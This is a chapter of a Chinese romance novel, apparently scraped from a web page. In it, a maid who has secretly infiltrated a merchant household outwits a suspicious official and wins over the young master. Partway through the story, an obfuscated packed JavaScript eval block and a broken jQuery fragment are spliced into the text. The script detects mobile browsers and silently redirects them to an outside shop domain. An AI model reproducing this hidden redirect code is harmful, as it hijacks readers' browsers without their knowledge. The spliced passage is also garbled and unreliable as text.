商府里,几个下人帮着明殊苑往小院搬东西,一个二个想问什么,到最后都没好意思开口。只有一个负责洒扫的小侍女大着胆子问了一句:“小苑姐,少爷是不是喜欢你?”
明殊苑只作没听懂:“我们在府中都是一家人呀,少爷礼待下人,待我们都是一样的。若有一日你也帮了少爷大忙,许就能来和我做邻居了。”
小侍女见她好说话,歪着头继续追问:“那小苑姐喜欢少爷吗?”
明殊苑笑笑,想着逗她:“不知道,温温妹妹喜欢少爷吗?”
温温没想到她记住了自己的名字,有些不好意思地摇摇头:“少爷是很好的人,温和良善,从不苛待我们,少爷虽然英俊,但我们也只是仰慕而已,没有旁的心思。”
把人送到小院里,温温又悄悄往明殊苑手心塞了两块糖:“小苑姐,谢谢你上次给我的饴糖!”
明殊苑瞧着她颠颠地小跑离开了,才想起,那日晚上拿着糖去哄商洁的时候,瞧到院落里那个蹲在花圃前哭哭啼啼的小侍女,或许就是温温。
还本想着去问问,谁知追出小院,却看到另一个人,是背着手面色冷峻的韦叙。
“韦先生。”明殊苑笑道,“您怎么这么快就回来了,小苑还没去前厅摆好花呢。”
韦叙冷着脸,已经全然不吃她装傻充愣的这一套:“你究竟是什么人,潜入商府,意欲何为?”
明殊苑看着他,还是那副睁着眼睛很无辜的样子,片刻,她无奈笑道:“韦先生若说今日我为少爷解围一事,只不过是小苑自小勤于锻炼,手劲大了些。少爷是我的恩人,小苑总不能见死不救。”
“你潜进商府,伪装成天真愚笨的花房下人,博取商洁信任,骗取商府钱财,倒卖花房的花种,获得了不少银钱。这一切,我在城南的眼睛方才已尽数回禀给我。你若仍旧不认,便随我去那商贩铺中对峙,叫他看看当日为府中采买花苗的官宦小姐,与前一日衣着简朴的花房下人,是否为同一张面孔。”
“韦先生。”明殊苑笑笑,“您心太急了,小苑为您泡些菊花茶吧?”
这一拳打在棉花上,叫韦叙简直要吹胡子瞪眼,可若说他能把明殊苑怎么样……他还真不能怎么样。眼下她的身份还未查明,轻举妄动不是好事。
他看着眼前这个花房侍女,她神情语态哪还有半分单纯傻气,分明十分从容游刃有余。她早已拿回了局势,占了上风,随意坐在院中石椅上,那身普通细棉料子的柳青色襦裙,仿佛都升了质感,好若穿了一身蜀锦,连言语都颇有些矜贵之气,与那个只会咋咋呼呼乱出主意的花房侍女相较,实在太过割裂。
她一抬眼,竟有了些上位者的压迫感:“韦先生小小八品官,做了整整十一年,可您分明本事通天,这是我早就知晓的。不然韦先生如何喝得起建州产的梅花白茶呢?”
韦叙眉头皱得更深:“你的户籍果真在江南。”
明殊苑笑说:“韦先生想同我对峙,可得查的快些了。”
她起身,从袖中摸出那枚雪柳垂簪,别在发间,欲去主院探望商洁,被韦叙一手拦下:“你就不怕我在商洁面前戳穿你的身份?”
“你可以告诉他,但他知道也没用,因为他离不得我。”明殊苑说,“韦先生,您别忘了,商洁急着自立门户,卯足了劲要成为名副其实的一家之主。他打心底里并不信任你,若非那日我在御史台为你美言,恐怕今日你也不能如此随意进出商府。”
韦叙急道:“你……”
“韦先生还是不要出言不逊。”明殊苑打断道,“免得日后后悔。”
.
商洁叫大夫诊治完,敷了止痛散,就让阿诺扶着回了主院。坐了片刻,又坐不住,急了吼地要去花房找明殊苑。谁知方一出门,迎面与韦叙撞上,明殊苑低着头跟在后面,见了他就小声唤:“少爷……”
韦叙受不了这短短一会她语气又变了,板着个脸对商洁说:“我来看看你。”
商洁应了一声,探头向明殊苑道:“那处院落收拾好了吗,可还宽敞吗?”
“宽敞得很。”明殊苑甜甜的,“多谢少爷。”
商洁换了身衣服,还熏了香,又变回了体面的富家少爷。虽然伤口时不时的阵痛让他有些没力气,却叫他整个人更显宁静。他说话的声音很轻柔,像一片羽毛轻轻落在手心。
明殊苑走进屋内,为他烹茶,叫他快坐。那壶中的茶顶名贵,明殊苑却十分熟练。
韦叙或许早该察觉,明殊苑说些没头没脑的话,总叫人觉得用力过猛,是因为她就本不是愚蠢之人,强行扮演自然会有疏漏。就如同她明明心灵手巧,可一做花房的活计就显得蠢笨,也是实在不擅长做下人之事。
他方才吃了一瘪,暗暗要找回些场子,冷嘲热讽道:“小苑姑娘今日勇猛非常,实在叫人刮目相看啊。”
“那当然了,人不可貌相呀。”明殊苑像听不懂话一般,向商洁一笑,“就像……正是因为那抬箱人瞧起来矮小瘦弱,才会叫我们掉以轻心的。不然少爷这样聪明的人,怎会中他的计呢?”
商洁听出她给自己台阶的意思,于是也笑说:“他定也猜不到,瞧起来人畜无害的小苑,能用一个花盆将他敲晕过去。”
两个人一唱一和,韦叙真想起身走人。这时明殊苑看向他:“韦先生也是如此,先生虽然官职低低的,却很有本事!瞧起来不起眼的人,反而会大有作用呢。”
商洁为她解围:“小苑不善言辞,她没有旁的意思,并不是对韦先生的官职有所非议,先生不要误会。”
她全是旁的意思。
韦叙也懒得计较了。他只盼明殊苑是个好人,她若是个好人爱说什么就说什么。
“这几日无事你不要出府,我在府中留下一人,若有变故,及时派他告知与我。再者,你也该学会培养些心腹,府中之人都是你父亲留下的人,你该成为新的家主,而不是继续做他们的少爷。”
商洁点头:“多谢先生教诲。”
“还有府医。”韦叙说,“你父亲病逝,前府医心灰意冷告老还乡,如今已多久过去,竟还未寻得一位新府医入府,若将来再有变故,救治不及怎么办?把自己的命看得金贵些。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506165|202060||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“府医能做的事太多了。”商洁道,“我还没寻到信得过的。”
明殊苑眼睛一亮:“少爷,或许小苑可为您引荐一人。我幼时重病,得一游医相助,此人忠肝义胆,为人善良,虽贫困潦倒,医术却十分精湛。少爷可在城内张贴告示,寻她前来,我记得此人名叫俞双。若少爷见到她不满意,再打发了便是。”
她骗取商府钱财就算了,如今竟明目张胆到连自己的人都想往府里塞,商洁若这都不怀疑,也太迟钝了些。韦叙刚要开口阻拦,商洁道:“好。”
他看着明殊苑,又如同一只睁着眼睛摇着尾巴的小犬,整个人甚至可以用乖巧来形容。明殊苑笑一笑,弯下腰为他倒茶:“少爷信任我,小苑不胜感激。”
商洁仍然睁着一双大眼瞧着她:“小苑无需与我客气。”
受够了。
韦叙起身告辞:“御史台传你问话时,把你今日遇刺描述得惨烈些,我先走了。”
“阿诺,去送送。”商洁吩咐。
.
这一大堆人,可算都赶走了,商洁终于能放松片刻。他拉过明殊苑:“小苑,快坐。”
明殊苑心里还想着府医的事,她斟酌如何开口,也让商洁尽快去办些。
于是她小声问:“少爷疼吗?”
商洁摇摇头:“小苑喜欢什么?我想往你院中安置些物件,又不愿像赏赐一般一股脑塞给你一堆衣裙首饰,不如你告知与我,我提前托人去问哪里可以寻到。待我伤口痊愈,你我上街一同去买好了。”
明殊苑笑说:“那要等少爷好起来再告诉。”
商洁叹气,像是猜到她会这样回答:“大夫说没个三两月是不成的,要得到你的答案实在是遥遥无期了。”
“少爷,我说真的。”明殊苑探过身子去跟他讲,“俞双姐姐行医可厉害了,她行走四方,救治过不少重伤之人,连断手断脚的都能叫她接起来。当年我邻里都说,若是那个错杀猪的有福气遇上俞双姐姐,被打死了也能救活过来,真的。”
“怎么还有这个人的事……我都说了是你爹唬你的……”
商洁的话还没说完,又被明殊苑兴冲冲打断:“少爷!我现在就写告示,叫阿诺贴到城门那去,医馆也贴,茶楼也贴!叫俞双姐姐没两天就看到,第三天就将您医好!”她在屋里转了一圈,“纸笔在哪?”
商洁指指书房的方向,瞧着她兴高采烈去了,捂着伤口缓慢起身,走到案前,瞧她研墨提笔,也不意外:“小苑的字是谁教的?”
“父亲。”明殊苑道,“他很厉害,什么都会。”
商洁应了一声,看着她继续写。明殊苑刻意收了些笔力,只叫这字工工整整,也不至于太过大气。
“小苑。”商洁忽然说。“不如我赠你文房四宝,可好?”
他确实与旁人不同。
对一侍女,不说赏赐,不送衣裙,发觉她会写字也全然不意外,还要赠她文房四宝。
明殊苑瞧着他的神色,忽然发觉了另一件事。
这少爷耐痛的能力会不会太好了些?